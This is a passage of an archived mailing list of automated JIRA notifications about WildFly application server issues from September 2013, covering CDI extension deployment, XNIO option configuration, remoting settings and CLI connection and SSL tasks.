>          Components: CDI / Weld
>            Reporter: Ron ?meral
>            Assignee: Stuart Douglas
>         Attachments: cdi-ext-missing-dependency-reproducer.jar
>
>
> The following CDI extension *fails to deploy* if Foo is not on classpath:
> {code}
> public class BrokenExtension implements Extension {
>     private Foo foo;
> }
> {code}
> However, if the missing dependency is not a field but a parent class as in the following, the extension is disregarded by the container, but the archive *deploys successfully*:
> {code}
> public class BrokenExtension extends Foo implements Extension {
> }
> {code}
> It would be more consistent if the behaviour from the second case applied in both cases.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Thu Sep 12 11:30:03 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Thu, 12 Sep 2013 11:30:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2054) CDI portable extensions with
 missing dependencies in fields fail to deploy
In-Reply-To: <JIRA.12500630.1378999400000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500630.1378999400000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500630.1378999400000.24104.1378999803959@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2054?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803946#comment-12803946 ] 

Tomaz Cerar commented on WFLY-2054:
-----------------------------------

In what version are you getting this? linked BZ related to EAP.
this still the issue in current WildFly nightly builds?
                
> CDI portable extensions with missing dependencies in fields fail to deploy
> --------------------------------------------------------------------------
>
>                 Key: WFLY-2054
>                 URL: https://issues.jboss.org/browse/WFLY-2054
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld
>            Reporter: Ron ?meral
>            Assignee: Stuart Douglas
>         Attachments: cdi-ext-missing-dependency-reproducer.jar
>
>
> The following CDI extension *fails to deploy* if Foo is not on classpath:
> {code}
> public class BrokenExtension implements Extension {
>     private Foo foo;
> }
> {code}
> However, if the missing dependency is not a field but a parent class as in the following, the extension is disregarded by the container, but the archive *deploys successfully*:
> {code}
> public class BrokenExtension extends Foo implements Extension {
> }
> {code}
> It would be more consistent if the behaviour from the second case applied in both cases.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Thu Sep 12 11:34:03 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Thu, 12 Sep 2013 11:34:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2054) CDI portable extensions with
 missing dependencies in fields fail to deploy
In-Reply-To: <JIRA.12500630.1378999400000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500630.1378999400000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500630.1378999400000.24146.1379000043906@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2054?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803946#comment-12803946 ] 

Tomaz Cerar edited comment on WFLY-2054 at 9/12/13 11:33 AM:
-------------------------------------------------------------

In what version are you getting this? Linked BZ relates to EAP issue that was already fixed.
this still the issue in current WildFly nightly builds?
                
      was (Author: ctomc):
    In what version are you getting this? linked BZ related to EAP.
this still the issue in current WildFly nightly builds?
                  
> CDI portable extensions with missing dependencies in fields fail to deploy
> --------------------------------------------------------------------------
>
>                 Key: WFLY-2054
>                 URL: https://issues.jboss.org/browse/WFLY-2054
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld
>            Reporter: Ron ?meral
>            Assignee: Stuart Douglas
>         Attachments: cdi-ext-missing-dependency-reproducer.jar
>
>
> The following CDI extension *fails to deploy* if Foo is not on classpath:
> {code}
> public class BrokenExtension implements Extension {
>     private Foo foo;
> }
> {code}
> However, if the missing dependency is not a field but a parent class as in the following, the extension is disregarded by the container, but the archive *deploys successfully*:
> {code}
> public class BrokenExtension extends Foo implements Extension {
> }
> {code}
> It would be more consistent if the behaviour from the second case applied in both cases.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Thu Sep 12 11:40:03 2013
From: jira-events at lists.jboss.org (=?UTF-8?Q?Ron_=C5=A0meral_=28JIRA=29?=)
Date: Thu, 12 Sep 2013 11:40:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2054) CDI portable extensions with
 missing dependencies in fields fail to deploy
In-Reply-To: <JIRA.12500630.1378999400000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500630.1378999400000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500630.1378999400000.24181.1379000403572@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2054?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803953#comment-12803953 ] 

Ron ?meral commented on WFLY-2054:
----------------------------------

I tried it on current WF master.
I linked the issue because the reproducer in bz961470 shows the second case. Also in bz961470, the WildFly PR which fixed the second case is linked.
                
> CDI portable extensions with missing dependencies in fields fail to deploy
> --------------------------------------------------------------------------
>
>                 Key: WFLY-2054
>                 URL: https://issues.jboss.org/browse/WFLY-2054
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld
>            Reporter: Ron ?meral
>            Assignee: Stuart Douglas
>         Attachments: cdi-ext-missing-dependency-reproducer.jar
>
>
> The following CDI extension *fails to deploy* if Foo is not on classpath:
> {code}
> public class BrokenExtension implements Extension {
>     private Foo foo;
> }
> {code}
> However, if the missing dependency is not a field but a parent class as in the following, the extension is disregarded by the container, but the archive *deploys successfully*:
> {code}
> public class BrokenExtension extends Foo implements Extension {
> }
> {code}
> It would be more consistent if the behaviour from the second case applied in both cases.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Thu Sep 12 11:46:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Thu, 12 Sep 2013 11:46:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2055) Centralize and organize
 I/O-related options into I/O subsystem
In-Reply-To: <JIRA.12500632.1379000746885@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500632.1379000746885@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500632.1379000746885.24196.1379000763524@jira02.app.mwc.hst.phx2.redhat.com>

David Lloyd created WFLY-2055:
---------------------------------

             Summary: Centralize and organize I/O-related options into I/O subsystem
                 Key: WFLY-2055
                 URL: https://issues.jboss.org/browse/WFLY-2055
             Project: WildFly
          Issue Type: Enhancement
          Components: Remoting, Web (Undertow)
            Reporter: David Lloyd
            Assignee: Tomaz Cerar
             Fix For: 8.0.0.Beta1


Centralize all the I/O related options into the I/O subsystem schema.  This includes all XNIO Options, and also includes moving all XNIO worker configuration into the I/O subsystem to be referenced.

The I/O subsystem should define types for each I/O option including (but not limited to):
* send and receive buffer sizes
* TCP nodelay setting
* TCP keepalive
* IP TOS
* Server socket backlog
* Server connection limit low/high water mark
* etc.

Also there should be types defined for:
* XNIO worker thread count
* XNIO worker thread stack size
* XNIO worker thread priority
* etc.

Systems which define I/O entities will reference these types by including the allowed/relevant option types into their schema like the threads subsystem does for thread pool types.

Systems presently defining workers should instead reference a worker defined in the I/O subsystem.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 11:50:03 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Thu, 12 Sep 2013 11:50:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2018) Configuring
 HttpsListenerServices xnio OptionMap
In-Reply-To: <JIRA.12500197.1378463685000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500197.1378463685000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500197.1378463685000.24208.1379001003747@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2018?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar updated WFLY-2018:
------------------------------

        Parent: WFLY-2055
    Issue Type: Sub-task  (was: Enhancement)

    
> Configuring HttpsListenerServices xnio OptionMap
> ------------------------------------------------
>
>                 Key: WFLY-2018
>                 URL: https://issues.jboss.org/browse/WFLY-2018
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Web (Undertow)
>    Affects Versions: 8.0.0.Alpha4
>         Environment: Linux, Java 7, WildFly from git
>            Reporter: Bernd Koecke
>            Assignee: Tomaz Cerar
>
> There was another issue (WFLY-1924) when two WildFly server called each other through SSL/TLS. This is all done and its working. But during the discussion it came up that the configuration of the xnio endpoint in class {{org.wildfly.extension.undertow.HttpsListenerService.startListening}} is hardcoded. In other parts of the system I have the ability to define my own set of options for xnios OptionMap through CLI. Would it be a good idea to enhance the Http(s)ListenerService that the defaults are still there, but can be overwritten from the XML/CLI?
> Because I can now configure the client side, I don't really need it in the undertow subsystem at the moment. But there my be other use cases where a configuration option in the above listener would be nice.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 11:50:04 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Thu, 12 Sep 2013 11:50:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1801) Allow remoting endpoint
 options to be configurable
In-Reply-To: <JIRA.12497756.1375358657000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497756.1375358657000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497756.1375358657000.24224.1379001004743@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1801?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar updated WFLY-1801:
------------------------------

        Parent: WFLY-2055
    Issue Type: Sub-task  (was: Feature Request)

    
> Allow remoting endpoint options to be configurable
> --------------------------------------------------
>
>                 Key: WFLY-1801
>                 URL: https://issues.jboss.org/browse/WFLY-1801
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Remoting
>            Reporter: jaikiran pai
>            Assignee: Tomaz Cerar
>             Fix For: 8.0.0.Beta1
>
>
> Currently, there's no way the remoting endpoint creation options can be configured. 
> I see a TODO https://github.com/wildfly/wildfly/blob/master/remoting/src/main/java/org/jboss/as/remoting/RemotingSubsystemAdd.java#L78 which seems to have remained unimplemented. 
> For now, the only endpoint point options that are passed are hardcoded from here https://github.com/wildfly/wildfly/blob/master/remoting/src/main/java/org/jboss/as/remoting/EndpointConfigFactory.java#L46.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 11:50:04 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Thu, 12 Sep 2013 11:50:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1801) Allow remoting endpoint
 options to be configurable
In-Reply-To: <JIRA.12497756.1375358657000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497756.1375358657000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497756.1375358657000.24218.1379001004400@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1801?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar updated WFLY-1801:
------------------------------

    Fix Version/s: 8.0.0.Beta1
                       (was: 8.0.0.Alpha3)

    
> Allow remoting endpoint options to be configurable
> --------------------------------------------------
>
>                 Key: WFLY-1801
>                 URL: https://issues.jboss.org/browse/WFLY-1801
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Remoting
>            Reporter: jaikiran pai
>            Assignee: Tomaz Cerar
>             Fix For: 8.0.0.Beta1
>
>
> Currently, there's no way the remoting endpoint creation options can be configured. 
> I see a TODO https://github.com/wildfly/wildfly/blob/master/remoting/src/main/java/org/jboss/as/remoting/RemotingSubsystemAdd.java#L78 which seems to have remained unimplemented. 
> For now, the only endpoint point options that are passed are hardcoded from here https://github.com/wildfly/wildfly/blob/master/remoting/src/main/java/org/jboss/as/remoting/EndpointConfigFactory.java#L46.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 11:50:04 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Thu, 12 Sep 2013 11:50:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2017) Add ability to set XNIO
 options for listeners
In-Reply-To: <JIRA.12500194.1378462536000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500194.1378462536000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500194.1378462536000.24212.1379001004140@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2017?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar updated WFLY-2017:
------------------------------

        Parent: WFLY-2055
    Issue Type: Sub-task  (was: Feature Request)

    
> Add ability to set XNIO options for listeners
> ---------------------------------------------
>
>                 Key: WFLY-2017
>                 URL: https://issues.jboss.org/browse/WFLY-2017
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Web (Undertow)
>            Reporter: Stuart Douglas
>            Assignee: Tomaz Cerar
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 11:52:03 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Thu, 12 Sep 2013 11:52:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2054) CDI portable extensions with
 missing dependencies in fields fail to deploy
In-Reply-To: <JIRA.12500630.1378999400000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500630.1378999400000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500630.1378999400000.24235.1379001123555@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2054?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar updated WFLY-2054:
------------------------------

    Affects Version/s: 8.0.0.Alpha4

    
> CDI portable extensions with missing dependencies in fields fail to deploy
> --------------------------------------------------------------------------
>
>                 Key: WFLY-2054
>                 URL: https://issues.jboss.org/browse/WFLY-2054
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Ron ?meral
>            Assignee: Stuart Douglas
>         Attachments: cdi-ext-missing-dependency-reproducer.jar
>
>
> The following CDI extension *fails to deploy* if Foo is not on classpath:
> {code}
> public class BrokenExtension implements Extension {
>     private Foo foo;
> }
> {code}
> However, if the missing dependency is not a field but a parent class as in the following, the extension is disregarded by the container, but the archive *deploys successfully*:
> {code}
> public class BrokenExtension extends Foo implements Extension {
> }
> {code}
> It would be more consistent if the behaviour from the second case applied in both cases.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Thu Sep 12 12:14:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 12 Sep 2013 12:14:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-475) Re-review CLI server
 certificate acceptance.
In-Reply-To: <JIRA.12478573.1352112032000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12478573.1352112032000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12478573.1352112032000.24251.1379002444326@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-475?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-475:
----------------------------------

    Fix Version/s: 8.0.0.CR1
                       (was: 8.0.0.Beta1)

    
> Re-review CLI server certificate acceptance.
> --------------------------------------------
>
>                 Key: WFLY-475
>                 URL: https://issues.jboss.org/browse/WFLY-475
>             Project: WildFly
>          Issue Type: Task
>          Components: CLI
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>            Priority: Minor
>             Fix For: 8.0.0.CR1
>
>
> Can we remove the call loop and manage the user prompt and trust store replacement all within the trust manager?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 12:14:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 12 Sep 2013 12:14:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1652) The security realm PlugIns
 are currently returning roles, this should be group membership information.
In-Reply-To: <JIRA.12495818.1373035497000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12495818.1373035497000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12495818.1373035497000.24253.1379002444428@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1652?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-1652:
-----------------------------------

    Fix Version/s: 8.0.0.CR1
                       (was: 8.0.0.Beta1)

    
> The security realm PlugIns are currently returning roles, this should be group membership information.
> ------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1652
>                 URL: https://issues.jboss.org/browse/WFLY-1652
>             Project: WildFly
>          Issue Type: Task
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>            Priority: Critical
>             Fix For: 8.0.0.CR1
>
>
> Without breaking backwards compatibility this should be returning group membership information and not roles.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 12:14:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 12 Sep 2013 12:14:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1850) Add support for aliases to be
 defined in the jboss-cli.xml for connection settings.
In-Reply-To: <JIRA.12498238.1375968531000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498238.1375968531000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498238.1375968531000.24257.1379002444627@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1850?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-1850:
-----------------------------------

    Fix Version/s: 8.0.0.CR1
                       (was: 8.0.0.Beta1)

    
> Add support for aliases to be defined in the jboss-cli.xml for connection settings.
> -----------------------------------------------------------------------------------
>
>                 Key: WFLY-1850
>                 URL: https://issues.jboss.org/browse/WFLY-1850
>             Project: WildFly
>          Issue Type: Task
>          Components: CLI
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>            Priority: Minor
>             Fix For: 8.0.0.CR1
>
>
> An alias would allow 
>  connect {alias_name}
> With the scheme/protocol, host name and port loaded from the config.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 12:14:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 12 Sep 2013 12:14:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1597) Re-Review TLS/SSL where
 http-upgrade is in use.
In-Reply-To: <JIRA.12495220.1372326887000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12495220.1372326887000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12495220.1372326887000.24260.1379002444716@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1597?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-1597:
-----------------------------------

    Fix Version/s: 8.0.0.CR1
                       (was: 8.0.0.Beta1)

    
> Re-Review TLS/SSL where http-upgrade is in use.
> -----------------------------------------------
>
>                 Key: WFLY-1597
>                 URL: https://issues.jboss.org/browse/WFLY-1597
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management, Remoting, Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>            Priority: Blocker
>             Fix For: 8.0.0.CR1
>
>
> Need to double check the behaviour here, the wrapping of Remoting so far it leaving the Remoting specific messages as-is - need to verify we are not double encrypting the connection and also the Client Cert based authentication requirements on that connection.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 12:14:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 12 Sep 2013 12:14:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1666) connect
 https-remoting://localhost:9990 in CLI provides no feedback to indicate SSL
 not in use.
In-Reply-To: <JIRA.12496035.1373387223000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496035.1373387223000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496035.1373387223000.24265.1379002444928@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1666?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-1666:
-----------------------------------

    Fix Version/s: 8.0.0.CR1
                       (was: 8.0.0.Beta1)

    
> connect https-remoting://localhost:9990 in CLI provides no feedback to indicate SSL not in use.
> -----------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1666
>                 URL: https://issues.jboss.org/browse/WFLY-1666
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>            Priority: Critical
>             Fix For: 8.0.0.CR1
>
>
> Within the CLI the following command does not provide any feedback to indicate that a SSL session was not established even though the URL suggests it is requested: -
> {code}
> connect https-remoting://localhost:9990
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 12:14:05 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 12 Sep 2013 12:14:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2053) JSR-115 JACC 1.5 (also known
	as MREL 3)
In-Reply-To: <JIRA.12500625.1378997404000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500625.1378997404000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500625.1378997404000.24269.1379002445090@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2053?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-2053:
-----------------------------------

    Fix Version/s: 8.0.0.CR1
                       (was: 8.0.0.Beta1)

    
> JSR-115 JACC 1.5 (also known as MREL 3)
> ---------------------------------------
>
>                 Key: WFLY-2053
>                 URL: https://issues.jboss.org/browse/WFLY-2053
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Security
>            Reporter: David Lloyd
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.CR1
>
>
> Implement the changes in the third MREL of the JACC spec.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 12:14:05 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 12 Sep 2013 12:14:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1664) bin]$ ./jboss-cli.sh -c
 --controller=localhost:9999 - Results in Connection Timed Out
In-Reply-To: <JIRA.12496000.1373373626000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496000.1373373626000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496000.1373373626000.24276.1379002445325@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1664?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-1664:
-----------------------------------

    Fix Version/s: 8.0.0.CR1
                       (was: 8.0.0.Beta1)

    
> bin]$ ./jboss-cli.sh -c --controller=localhost:9999 - Results in Connection Timed Out
> -------------------------------------------------------------------------------------
>
>                 Key: WFLY-1664
>                 URL: https://issues.jboss.org/browse/WFLY-1664
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.CR1
>
>
> Port 9999 is by default the native management interface.
> The command './jboss-cli.sh -c --controller=localhost:9999' results in the following error: -
> {code}
> org.jboss.as.cli.CliInitializationException: Failed to connect to the controller
> 	at org.jboss.as.cli.impl.CliLauncher.initCommandContext(CliLauncher.java:291)
> 	at org.jboss.as.cli.impl.CliLauncher.main(CliLauncher.java:269)
> 	at org.jboss.as.cli.CommandLineMain.main(CommandLineMain.java:34)
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> 	at java.lang.reflect.Method.invoke(Method.java:601)
> 	at org.jboss.modules.Module.run(Module.java:270)
> 	at org.jboss.modules.Main.main(Main.java:411)
> Caused by: org.jboss.as.cli.CommandLineException: The controller is not available at localhost:9999
> 	at org.jboss.as.cli.impl.CommandContextImpl.tryConnection(CommandContextImpl.java:967)
> 	at org.jboss.as.cli.impl.CommandContextImpl.connectController(CommandContextImpl.java:806)
> 	at org.jboss.as.cli.impl.CommandContextImpl.connectController(CommandContextImpl.java:778)
> 	at org.jboss.as.cli.impl.CliLauncher.initCommandContext(CliLauncher.java:289)
> 	... 8 more
> Caused by: java.io.IOException: java.net.ConnectException: JBAS012144: Could not connect to http-remoting://localhost:9999. The connection timed out
> 	at org.jboss.as.controller.client.impl.AbstractModelControllerClient.executeForResult(AbstractModelControllerClient.java:129)
> 	at org.jboss.as.controller.client.impl.AbstractModelControllerClient.execute(AbstractModelControllerClient.java:71)
> 	at org.jboss.as.cli.impl.CommandContextImpl.tryConnection(CommandContextImpl.java:945)
> 	... 11 more
> Caused by: java.net.ConnectException: JBAS012144: Could not connect to http-remoting://localhost:9999. The connection timed out
> 	at org.jboss.as.protocol.ProtocolConnectionUtils.connectSync(ProtocolConnectionUtils.java:131)
> 	at org.jboss.as.protocol.ProtocolConnectionManager$EstablishingConnection.connect(ProtocolConnectionManager.java:256)
> 	at org.jboss.as.protocol.ProtocolConnectionManager.connect(ProtocolConnectionManager.java:70)
> 	at org.jboss.as.protocol.mgmt.FutureManagementChannel$Establishing.getChannel(FutureManagementChannel.java:176)
> 	at org.jboss.as.cli.impl.CLIModelControllerClient.getOrCreateChannel(CLIModelControllerClient.java:162)
> 	at org.jboss.as.cli.impl.CLIModelControllerClient$2.getChannel(CLIModelControllerClient.java:124)
> 	at org.jboss.as.protocol.mgmt.ManagementChannelHandler.executeRequest(ManagementChannelHandler.java:115)
> 	at org.jboss.as.protocol.mgmt.ManagementChannelHandler.executeRequest(ManagementChannelHandler.java:90)
> 	at org.jboss.as.controller.client.impl.AbstractModelControllerClient.executeRequest(AbstractModelControllerClient.java:236)
> 	at org.jboss.as.controller.client.impl.AbstractModelControllerClient.execute(AbstractModelControllerClient.java:141)
> 	at org.jboss.as.controller.client.impl.AbstractModelControllerClient.executeForResult(AbstractModelControllerClient.java:127)
> 	... 13 more
> {code}
> This is because the use of HTTP upgrade is assumed, however clients using the CLI from previous versions were used to using this connection command against the native management interface only.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 12:14:05 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 12 Sep 2013 12:14:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-382) Fix & re-enable ignored XCAML
	tests
In-Reply-To: <JIRA.12488208.1364408610000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12488208.1364408610000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12488208.1364408610000.24273.1379002445231@jira02.app.mwc.hst.phx2.redhat.com>


